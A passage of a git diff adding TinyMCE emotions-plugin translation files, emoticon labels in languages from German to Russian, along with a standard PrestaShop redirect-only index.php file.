raus",surprised:"\u00dcberrascht",smile:"L\u00e4chelnd",sealed:"Verschlossen","money_mouth":"Geld",laughing:"Lachend",kiss:"K\u00fcssend",innocent:"Unschuldig",frown:"Stirnrunzelnd","foot_in_mouth":"Reingefallen",embarassed:"Verlegen",usage:"Navigation mit linken und rechten Pfeilen."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/el_dlg.js b/js/tiny_mce/plugins/emotions/langs/el_dlg.js new file mode 100755 index 0000000..cdca664 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.emotions_dlg',{cry:"\u0394\u03b1\u03ba\u03c1\u03c5\u03c3\u03bc\u03ad\u03bd\u03bf\u03c2",cool:"\u0386\u03bd\u03b5\u03c4\u03bf\u03c2",desc:"\u03a3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03ae\u03bc\u03b1\u03c4\u03b1",title:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03ae\u03bc\u03b1\u03c4\u03bf\u03c2",yell:"\u03a6\u03c9\u03bd\u03ac\u03b6\u03c9",wink:"\u039a\u03bb\u03b5\u03af\u03c3\u03b9\u03bc\u03bf \u03bc\u03b1\u03c4\u03b9\u03bf\u03cd",undecided:"\u0391\u03bd\u03b1\u03c0\u03bf\u03c6\u03ac\u03c3\u03b9\u03c3\u03c4\u03bf\u03c2","tongue_out":"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1 \u03ad\u03be\u03c9",surprised:"\u0388\u03ba\u03c0\u03bb\u03b7\u03ba\u03c4\u03bf\u03c2",smile:"\u03a7\u03b1\u03bc\u03cc\u03b3\u03b5\u03bb\u03bf",sealed:"\u03a3\u03c6\u03c1\u03b1\u03b3\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf \u03c3\u03c4\u03cc\u03bc\u03b1","money_mouth":"\u039b\u03b5\u03c6\u03c4\u03ac \u03c9\u03c2 \u03c3\u03c4\u03cc\u03bc\u03b1",laughing:"\u0393\u03ad\u03bb\u03b9\u03bf",kiss:"\u03a6\u03b9\u03bb\u03af",innocent:"\u0391\u03b8\u03ce\u03bf\u03c2",frown:"\u039a\u03b1\u03c4\u03c3\u03bf\u03c5\u03c6\u03b9\u03b1\u03c3\u03bc\u03ad\u03bd\u03bf\u03c2","foot_in_mouth":"\u039a\u03bb\u03c9\u03c4\u03c3\u03b9\u03ac \u03c3\u03c4\u03bf \u03c3\u03c4\u03cc\u03bc\u03b1",embarassed:"\u0391\u03bc\u03ae\u03c7\u03b1\u03bd\u03bf\u03c2",usage:"Use left and right arrows to navigate."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/en_dlg.js b/js/tiny_mce/plugins/emotions/langs/en_dlg.js new file mode 100755 index 0000000..f5aafc3 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.emotions_dlg',{cry:"Cry",cool:"Cool",desc:"Emotions",title:"Insert Emotion",yell:"Yell",wink:"Wink",undecided:"Undecided","tongue_out":"Tongue Out",surprised:"Surprised",smile:"Smile",sealed:"Sealed","money_mouth":"Money Mouth",laughing:"Laughing",kiss:"Kiss",innocent:"Innocent",frown:"Frown","foot_in_mouth":"Foot in Mouth",embarassed:"Embarassed",usage:"Use left and right arrows to navigate."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/es_dlg.js b/js/tiny_mce/plugins/emotions/langs/es_dlg.js new file mode 100755 index 0000000..bdff36a --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.emotions_dlg',{cry:"Llora",cool:"Todo bien",desc:"Emoticones",title:"Insertar emoticon",yell:"Enfadado",wink:"Gui\u00f1o",undecided:"Indeciso","tongue_out":"Lengua fuera",surprised:"Sorprendido",smile:"Sonrisa",sealed:"Sellado","money_mouth":"Dinero boca",laughing:"Risa",kiss:"Beso",innocent:"Inocente",frown:"Triste","foot_in_mouth":"Pie en la boca",embarassed:"Verg\u00fcenza",usage:"Use las flechas para navegar"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/et_dlg.js b/js/tiny_mce/plugins/emotions/langs/et_dlg.js new file mode 100755 index 0000000..1b1d632 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.emotions_dlg',{cry:"Nutt",cool:"Lahe",desc:"Emotsioonid",title:"Sisesta emotsioon",yell:"Karje",wink:"Silmapilgutus",undecided:"K\u00f5hklev","tongue_out":"Keel v\u00e4ljas",surprised:"\u00dcllatunud",smile:"Naeratus",sealed:"Suletud","money_mouth":"Rahasuu",laughing:"Naermine",kiss:"Suudlus",innocent:"S\u00fc\u00fctu",frown:"Kulmu kortsutamine","foot_in_mouth":"Jalg suus",embarassed:"H\u00e4bitunne",usage:"Kasuta navigeerimiseks vasak ja parem nooli."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/fa_dlg.js b/js/tiny_mce/plugins/emotions/langs/fa_dlg.js new file mode 100755 index 0000000..9b43b48 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.emotions_dlg',{cry:"\u06af\u0631\u06cc\u0647",cool:"\u0622\u0631\u0627\u0645",desc:"\u0634\u06a9\u0644\u06a9 \u0647\u0627",title:"\u062f\u0631\u062c \u0634\u06a9\u0644\u06a9",yell:"\u0641\u0631\u06cc\u0627\u062f",wink:"\u0686\u0634\u0645\u06a9",undecided:"\u0645\u0631\u062f\u062f","tongue_out":"\u0632\u0628\u0627\u0646 \u062f\u0631\u0627\u0632\u06cc",surprised:"\u0645\u062a\u0639\u062c\u0628",smile:"\u0644\u0628\u062e\u0646\u062f",sealed:"\u0645\u0647\u0631 \u0634\u062f\u0647","money_mouth":"\u067e\u0648\u0644 \u062f\u0631 \u062f\u0647\u0627\u0646",laughing:"\u062e\u0646\u062f\u0647",kiss:"\u0628\u0648\u0633\u0647",innocent:"\u0628\u06cc \u062a\u0642\u0635\u06cc\u0631",frown:"\u0627\u062e\u0645","foot_in_mouth":"\u067e\u0627 \u062f\u0631 \u062f\u0647\u0627\u0646",embarassed:"\u062e\u062c\u0627\u0644\u062a\u06cc",usage:"Use left and right arrows to navigate."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/fi_dlg.js b/js/tiny_mce/plugins/emotions/langs/fi_dlg.js new file mode 100755 index 0000000..7e620dd --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.emotions_dlg',{cry:"Itku",cool:"Cool",desc:"Hymi\u00f6t",title:"Lis\u00e4\u00e4 hymi\u00f6",yell:"Huuto",wink:"Silm\u00e4nisku",undecided:"P\u00e4\u00e4tt\u00e4m\u00e4t\u00f6n","tongue_out":"Kieli ulkona",surprised:"Yll\u00e4ttynyt",smile:"Hymy",sealed:"Tukittu","money_mouth":"Klink Klink (raha)",laughing:"Nauru",kiss:"Pusu",innocent:"Viaton",frown:"Otsan rypistys","foot_in_mouth":"Jalka suussa",embarassed:"Nolostunut",usage:"K\u00e4yt\u00e4 vasenta ja oikeata nuolin\u00e4pp\u00e4int\u00e4 navigointiin."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/fr_dlg.js b/js/tiny_mce/plugins/emotions/langs/fr_dlg.js new file mode 100755 index 0000000..971cf09 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.emotions_dlg',{cry:"En pleurs",cool:"Cool",desc:"\u00c9motic\u00f4nes",title:"Ins\u00e9rer une \u00e9motic\u00f4ne",yell:"Criant",wink:"Clin d\'\u0153il",undecided:"Incertain","tongue_out":"Langue tir\u00e9e",surprised:"Surpris",smile:"Sourire",sealed:"Bouche cousue","money_mouth":"Avare",laughing:"Rigolant",kiss:"Bisou",innocent:"Innocent",frown:"D\u00e9\u00e7u","foot_in_mouth":"Pied de nez",embarassed:"Embarrass\u00e9",usage:"Utilisez les fl\u00e8ches gauche et droite pour naviguer."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/gl_dlg.js b/js/tiny_mce/plugins/emotions/langs/gl_dlg.js new file mode 100755 index 0000000..790050a --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.emotions_dlg',{cry:"Chora",cool:"Guay",desc:"Emoticones",title:"Insertar emoticon",yell:"Anoxado",wink:"Gui\u00f1o",undecided:"Indeciso","tongue_out":"Canso",surprised:"Sorprendido",smile:"Sorriso",sealed:"Selado","money_mouth":"Cartos",laughing:"Risa",kiss:"Beso",innocent:"Inocente",frown:"Triste","foot_in_mouth":"A que dixen",embarassed:"Vergo\u00f1a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/he_dlg.js b/js/tiny_mce/plugins/emotions/langs/he_dlg.js new file mode 100755 index 0000000..2664cd2 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.emotions_dlg',{cry:"\u05d1\u05d5\u05db\u05d4",cool:"\u05de\u05d2\u05e0\u05d9\u05d1",desc:"\u05e1\u05de\u05d9\u05d9\u05dc\u05d9\u05dd",title:"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e1\u05de\u05d9\u05d9\u05dc\u05d9",yell:"\u05e6\u05e2\u05e7\u05d4",wink:"\u05e7\u05e8\u05d9\u05e6\u05d4",undecided:"\u05d4\u05e1\u05e0\u05e0\u05d9","tongue_out":"\u05dc\u05e9\u05d5\u05df \u05d1\u05d7\u05d5\u05e5",surprised:"\u05de\u05d5\u05e4\u05ea\u05e2",smile:"\u05d7\u05d9\u05d5\u05da",sealed:"\u05d0\u05d8\u05d5\u05dd","money_mouth":"\u05db\u05e1\u05e3",laughing:"\u05e6\u05d5\u05d7\u05e7",kiss:"\u05e0\u05e9\u05d9\u05e7\u05d4",innocent:"\u05ea\u05de\u05d9\u05dd",frown:"\u05de\u05d6\u05e2\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e4\u05d4","foot_in_mouth":"\u05e8\u05d2\u05dc \u05d1\u05e4\u05d4",embarassed:"\u05e0\u05d1\u05d5\u05da",usage:"\u05d4\u05e9\u05ea\u05de\u05e9\u05d5 \u05d1\u05d7\u05e5 \u05d9\u05de\u05d9\u05e0\u05d4 \u05d5\u05e9\u05de\u05d0\u05dc\u05d4 \u05dc\u05e0\u05d9\u05d5\u05d5\u05d8"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/hu_dlg.js b/js/tiny_mce/plugins/emotions/langs/hu_dlg.js new file mode 100755 index 0000000..b48285b --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.emotions_dlg',{cry:"S\u00edr\u00f3s",cool:"Kir\u00e1ly",desc:"Hangulatjelek",title:"Hangulatjel besz\u00far\u00e1sa",yell:"\u00dcv\u00f6lt\u00e9s",wink:"Kacsint\u00e1s",undecided:"Hat\u00e1rozatlan","tongue_out":"Nyelv\u00f6lt\u00e9s",surprised:"Meglepett",smile:"Vigyor",sealed:"Lakat a sz\u00e1j\u00e1n","money_mouth":"P\u00e9nz besz\u00e9l",laughing:"Nevet\u00e9s",kiss:"Cs\u00f3k",innocent:"\u00c1rtatlan",frown:"Rosszall","foot_in_mouth":"L\u00e1b a sz\u00e1jban",embarassed:"Zavarban van",usage:"A navig\u00e1l\u00e1shoz haszn\u00e1ld a bal \u00e9s jobb oldali nyilat."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/id_dlg.js b/js/tiny_mce/plugins/emotions/langs/id_dlg.js new file mode 100755 index 0000000..72270f4 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.emotions_dlg',{cry:"Cry",cool:"Cool",desc:"Emotions",title:"sisipkan emotion",yell:"Yell",wink:"Wink",undecided:"Undecided","tongue_out":"Tongue out",surprised:"Surprised",smile:"Smile",sealed:"Sealed","money_mouth":"Money mouth",laughing:"Laughing",kiss:"Kiss",innocent:"Innocent",frown:"Frown","foot_in_mouth":"Foot in mouth",embarassed:"Embarassed"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/index.php b/js/tiny_mce/plugins/emotions/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/emotions/langs/it_dlg.js b/js/tiny_mce/plugins/emotions/langs/it_dlg.js new file mode 100755 index 0000000..0699866 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.emotions_dlg',{cry:"Piango",cool:"Fico",desc:"Faccina",title:"Inserisci faccina",yell:"Arrabbiato",wink:"Occhiolino",undecided:"Indeciso","tongue_out":"Linguaccia",surprised:"Sorpreso",smile:"Sorridente",sealed:"Bocca sigillata","money_mouth":"Bocca danarosa",laughing:"Risatona",kiss:"Bacio",innocent:"Santarellino",frown:"Triste","foot_in_mouth":"Piede in bocca",embarassed:"Imbarazzato",usage:"Utilizza le freccie sinistra e destra per navigare."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/ja_dlg.js b/js/tiny_mce/plugins/emotions/langs/ja_dlg.js new file mode 100755 index 0000000..7ff287f --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.emotions_dlg',{cry:"\u6ce3\u304d\u9854",cool:"\u30af\u30fc\u30eb",desc:"\u8868\u60c5\u30a2\u30a4\u30b3\u30f3",title:"\u8868\u60c5\u30a2\u30a4\u30b3\u30f3\u306e\u633f\u5165",yell:"\u30a8\u30fc\u30eb",wink:"\u30a6\u30a3\u30f3\u30af",undecided:"\u672a\u6c7a\u5b9a","tongue_out":"\u30a2\u30c3\u30ab\u30f3\u30d9\u30fc",surprised:"\u9a5a\u304d",smile:"\u7b11\u9854",sealed:"\u5c01\u5370","money_mouth":"\u53e3\u306b\u304a\u91d1",laughing:"\u7b11\u3044",kiss:"\u30ad\u30b9",innocent:"\u7d14\u771f\u7121\u57a2",frown:"\u6e0b\u9762","foot_in_mouth":"\u53e3\u306b\u8db3",embarassed:"\u56f0\u60d1",usage:"\u5de6\u3068\u53f3\u306e\u30ab\u30fc\u30bd\u30eb\u30ad\u30fc\u3067\u79fb\u52d5\u3057\u3066\u304f\u3060\u3055\u3044\u3002"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/ka_dlg.js b/js/tiny_mce/plugins/emotions/langs/ka_dlg.js new file mode 100755 index 0000000..a2b76b3 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.emotions_dlg',{cry:"\u10d5\u10e2\u10d8\u10e0\u10d8\u10d5\u10d0\u10e0",cool:"\u10db\u10d0\u10d2\u10d0\u10e0\u10d8\u10d0!",desc:"\u10e1\u10db\u10d0\u10d8\u10da\u10d4\u10d1\u10d8",title:"\u10e1\u10db\u10d0\u10d8\u10da\u10d8\u10e1 \u10d0\u10e0\u10e9\u10d4\u10d5\u10d0",yell:"\u10d5\u10e7\u10d5\u10d8\u10e0\u10d8\u10d5\u10d0\u10e0",wink:"\u10d7\u10d5\u10d0\u10da\u10e1 \u10d2\u10d8\u10de\u10d0\u10ed\u10e3\u10dc\u10d4\u10d1",undecided:"\u10d5\u10d4\u10e0 \u10d2\u10d0\u10d3\u10d0\u10d5\u10ec\u10e7\u10d5\u10d8\u10e2\u10d4","tongue_out":"\u10d4\u10dc\u10d0\u10e1 \u10d2\u10d8\u10e7\u10dd\u10e4",surprised:"\u10d2\u10d0\u10db\u10d8\u10d9\u10d5\u10d8\u10e0\u10d3\u10d0",smile:"\u10d5\u10d8\u10e6\u10d8\u10db\u10d8",sealed:"\u10e1\u10d0\u10d8\u10d3\u10e3\u10db\u10da\u10dd \u10e9\u10d4\u10db\u10d7\u10d0\u10dc \u10d4\u10e0\u10d7\u10d0\u10d3 \u10db\u10dd\u10d9\u10d5\u10d3\u10d4\u10d1\u10d0","money_mouth":"\u10e4\u10e3\u10da\u10d8! \u10e4\u10e3\u10da\u10d8!",laughing:"\u10d2\u10e0\u10d4\u10e9\u10d8\u10ee\u10d0 \u10db\u10d0\u10d8\u10dc\u10ea \u10e0\u10d0 \u10d3\u10d4\u10d1\u10d8\u10da\u10d8\u10d0!",kiss:"\u10d2\u10d9\u10dd\u10ea\u10dc\u10d8",innocent:"\u10e3\u10db\u10d0\u10dc\u10d9\u10dd \u10d5\u10d0\u10e0",frown:"\u10d5\u10d8\u10e6\u10e0\u10e3\u10d1\u10da\u10d4\u10d1\u10d8","foot_in_mouth":"\u10e2\u10e4\u10e3\u10d8",embarassed:"\u10d2\u10d0\u10d5\u10ec\u10d8\u10d7\u10da\u10d3\u10d8"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/ko_dlg.js b/js/tiny_mce/plugins/emotions/langs/ko_dlg.js new file mode 100755 index 0000000..d714466 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.emotions_dlg',{cry:"\uc6b8\uc74c",cool:"\ucfe8",desc:"\uc774\ubaa8\ud2f0\ucf58",title:"\uc774\ubaa8\ud2f0\ucf58 \uc0bd\uc785",yell:"\uc678\uce5c\ub2e4",wink:"\uc719\ud06c",undecided:"\uace0\ubbfc\ud55c\ub2e4","tongue_out":"\uba54\ub871",surprised:"\ub180\ub77c\uc6c0",smile:"\uc2a4\ub9c8\uc77c",sealed:"\ubd09\uc778","money_mouth":"\ub3c8",laughing:"\uc6c3\uc74c",kiss:"Kiss",innocent:"\ucc9c\uc9c4\ub09c\ub9cc",frown:"\ucc21\uadf8\ub9b0 \uc5bc\uad74","foot_in_mouth":"\uc2e4\uc5b8",embarassed:"\ubd80\ub044\ub7ec\uc6c0"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/lt_dlg.js b/js/tiny_mce/plugins/emotions/langs/lt_dlg.js new file mode 100755 index 0000000..d1d4006 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.emotions_dlg',{cry:"Verksmas",cool:"J\u0117ga",desc:"Jaustukai",title:"\u012eterpti jaustuk\u0105",yell:"Klyksmas",wink:"Mirk\u010diojimas",undecided:"Neapsisprend\u0119s","tongue_out":"I\u0161ki\u0161tas lie\u017euvis",surprised:"Nusteb\u0119s",smile:"\u0160ypsena",sealed:"Sandarus","money_mouth":"Piniginga burna",laughing:"Juokimasis",kiss:"Bu\u010dinys",innocent:"Nekaltas",frown:"Susirauk\u0119s","foot_in_mouth":"Koja burnoje",embarassed:"Susig\u0117d\u0119s",usage:"Naudokite kair\u0117s ir de\u0161in\u0117s rodykles norint nar\u0161yti."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/nl_dlg.js b/js/tiny_mce/plugins/emotions/langs/nl_dlg.js new file mode 100755 index 0000000..0e7d7ba --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.emotions_dlg',{cry:"Huilen",cool:"Stoer",desc:"Emoties",title:"Emotie invoegen",yell:"Roepen",wink:"Knipogen",undecided:"Onbeslist","tongue_out":"Tong uitsteken",surprised:"Verrast",smile:"Lachen",sealed:"Afgesloten","money_mouth":"Hebberig",laughing:"Lachen",kiss:"Zoenen",innocent:"Onschuldig",frown:"Wenkbrauw ophalen","foot_in_mouth":"Verstomd",embarassed:"Schamen",usage:"Gebruik linker en rechter pijltjestoetsen om te navigeren."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/no_dlg.js b/js/tiny_mce/plugins/emotions/langs/no_dlg.js new file mode 100755 index 0000000..66973a8 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.emotions_dlg',{cry:"Griner",cool:"Cool",desc:"Hum\u00f8rfjes",title:"Sett inn hum\u00f8rfjes",yell:"Skrik",wink:"Blunke",undecided:"Skeptisk","tongue_out":"Rekke tunge",surprised:"Overrasket",smile:"Smil",sealed:"Lukket","money_mouth":"Penger i munnen",laughing:"Ler",kiss:"Kyss",innocent:"Uskyldig",frown:"Skummer","foot_in_mouth":"Fot i munnen",embarassed:"Flau",usage:"Bruk h\u00f8yre og venstre piler for \u00e5 velge."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/pl_dlg.js b/js/tiny_mce/plugins/emotions/langs/pl_dlg.js new file mode 100755 index 0000000..4e67692 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.emotions_dlg',{cry:"P\u0142acz",cool:"Wyluzowany",desc:"Emotikony",title:"Wstaw emotikon\u0119",yell:"Krzyk",wink:"Mrugni\u0119cie",undecided:"Niezdecydowany","tongue_out":"Wystawiony j\u0119zyk",surprised:"Zaskoczony",smile:"U\u015bmiech",sealed:"Zaklepany","money_mouth":"Zaanga\u017cowany",laughing:"\u015amiech",kiss:"Poca\u0142unek",innocent:"Niewinny",frown:"Dezaprobata","foot_in_mouth":"Niewyparzona g\u0119ba",embarassed:"Zmieszany",usage:"U\u017cywaj strza\u0142ek w lewo i w prawo do nawigacji."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/pt_dlg.js b/js/tiny_mce/plugins/emotions/langs/pt_dlg.js new file mode 100755 index 0000000..2209594 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.emotions_dlg',{cry:"Chor\u00e3o",cool:"Fixe",desc:"Emoticons",title:"Inserir emoticon",yell:"Irado",wink:"Piscadela",undecided:"Indeciso","tongue_out":"L\u00edngua de fora",surprised:"Surpresa",smile:"Sorriso",sealed:"Boca Fechada","money_mouth":"Avarez",laughing:"Riso",kiss:"Beijo",innocent:"Inocente",frown:"Decep\u00e7\u00e3o","foot_in_mouth":"Disse asneira",embarassed:"Embara\u00e7ado",usage:"Use as setas esquerda e direita para navegar."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/ro_dlg.js b/js/tiny_mce/plugins/emotions/langs/ro_dlg.js new file mode 100755 index 0000000..ca0aa34 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.emotions_dlg',{cry:"Trist",cool:"Cool",desc:"Figurine emotive",title:"Insereaz\u0103 o figurin\u0103",yell:"\u021aip\u0103",wink:"Face cu ochiul",undecided:"Indecis","tongue_out":"Cu limba afar\u0103",surprised:"Surprins",smile:"Z\u00e2mbet",sealed:"Sigilat","money_mouth":"Bani \u00een gur\u0103",laughing:"R\u00e2de",kiss:"Pupic",innocent:"Nevinovat",frown:"\u00cencruntat","foot_in_mouth":"Picior \u00een gur\u0103",embarassed:"Ru\u015finat",usage:"Folose\u0219te s\u0103ge\u021bile st\u00e2nga \u0219i dreapta pentru navigare."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/ru_dlg.js b/js/tiny_mce/plugins/emotions/langs/ru_dlg.js new file mode 100755 index 0000000..be9f3bc --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.emotions_dlg',{cry:"\u041f\u043b\u0430\u0447\u0443",cool:"\u041a\u0440\u0443\u0442\u043e\u0439",desc:"\u0421\u043c\u0430\u0439\u043b\u044b",title:"\u0412\u044b\u0431\u043e\u0440 \u0441\u043c\u0430\u0439\u043b\u0430",yell:"\u041a\u0440\u0438\u0447\u0443",wink:"\u041f\u043e\u0434\u043c\u0438\u0433\u0438\u0432\u0430\u044e",undecided:"\u0412 \u043d\u0435\u0440\u0435\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438","tongue_out":"\u0414\u0440\u0430\u0437\u043d\u044e\u0441\u044c",surprised:"\u0423\u0434\u0438\u0432\u043b\u044f\u044e\u0441\u044c",smile:"\u0423\u043b\u044b\u0431\u0430\u044e\u0441\u044c",sealed:"\u041d\u0435\u043c \u043a\u0430\u043a \u0440\u044b\u0431\u0430","money_mouth":"\u0414\u0435\u043d\u044c\u0433\u0438",laughing:"\u0421\u043c\u0435\u044e\u0441\u044c",kiss:"\u041f\u043e\u0446\u0435\u043b\u0443\u0439",innocent:"\u0410\u043d\u0433\u0435\u043b",frown:"\u0425\u043c\u0443\u0440\u044e\u0441\u044c","foot_in_mouth":"\u0412 \u0440\u043e\u0442 \u043c\u043d\u0435 \u043d\u043e\u0433\u0438",embarassed:"\u041a\u0440\u0430\u0441\u043d\u0435\u044e",usage:"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043a\u043b\u0430\u0432\u0438\u0448\u0438 \"\u0412\u043b\u0435\u0432\u043e\" \u0438 \"\u0412\u043f\u0440\u0430\u0432\u043e\" \u0434\u043b\u044f \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u0438."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/sk_dlg.js b/js/tiny_mce/plugins/emotions/langs/sk_dlg.js new file mode 100755 index 0000000..34187f3 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.emotions_dlg',{cry:"Pla\u010d\u00faci",cool:"\u00da\u017easn\u00fd",desc:"Emotikony",title:"Vlo\u017ei\u0165 emotikonu",yell:"Kri\u010diaci",wink:"\u017dmurkaj\u00faci",undecided:"Nerozhodn\u00fd","tongue_out":"S vyplazen\u00fdm jazykom",surprised:"Prekvapen\u00fd",smile:"Usmiaty",sealed:"Ml\u010diaci","money_mouth":"Je na prachy",laughing:"Smej\u00faci sa",kiss:"Bozkaj\u00faci",innocent:"Nevinn\u00fd",frown:"Zamra\u010den\u00fd","foot_in_mouth":"\u0160liapol ved\u013ea",embarassed:"Zahanben\u00fd",usage:"Pou\u017eite \u0161\u00edpky vpravo a v\u013eavo"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/sl_dlg.js b/js/tiny_mce/plugins/emotions/langs/sl_dlg.js new file mode 100755 index 0000000..17879d2 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.emotions_dlg',{cry:"jok",cool:"kul",desc:"Sme\u0161ki",title:"Vstavi sme\u0161ka",yell:"krik",wink:"me\u017eik",undecided:"neodlo\u010den","tongue_out":"ka\u017ee jezik",surprised:"presene\u010den",smile:"nasmeh",sealed:"zape\u010dateno","money_mouth":"zlati kljun",laughing:"smeh",kiss:"poljub",innocent:"nedol\u017een",frown:"nagubano \u010delo","foot_in_mouth":"zare\u010deni kruh",embarassed:"v zadregi",usage:"Za navigacijo uporabite tipki levo in desno"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/sv_dlg.js b/js/tiny_mce/plugins/emotions/langs/sv_dlg.js new file mode 100755 index 0000000..c36ebee --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.emotions_dlg',{cry:"Gr\u00e5ter",cool:"Cool",desc:"Smileys",title:"Infoga smiley",yell:"Skrikandes",wink:"Fl\u00f6rt",undecided:"Obest\u00e4md","tongue_out":"Tungan ute",surprised:"F\u00f6rv\u00e5nad",smile:"Glad",sealed:"Tyst","money_mouth":"Guld i mun",laughing:"Skrattande",kiss:"Kyss",innocent:"Oskyldig",frown:"Rynkar p\u00e5 n\u00e4san","foot_in_mouth":"Foten i munnen",embarassed:"Sk\u00e4ms",usage:"Anv\u00e4nd v\u00e4nster och h\u00f6ger pil f\u00f6r att navigera"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/th_dlg.js b/js/tiny_mce/plugins/emotions/langs/th_dlg.js new file mode 100755 index 0000000..6039d65 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/th_dlg.js @@ -0,0 +1 @@ 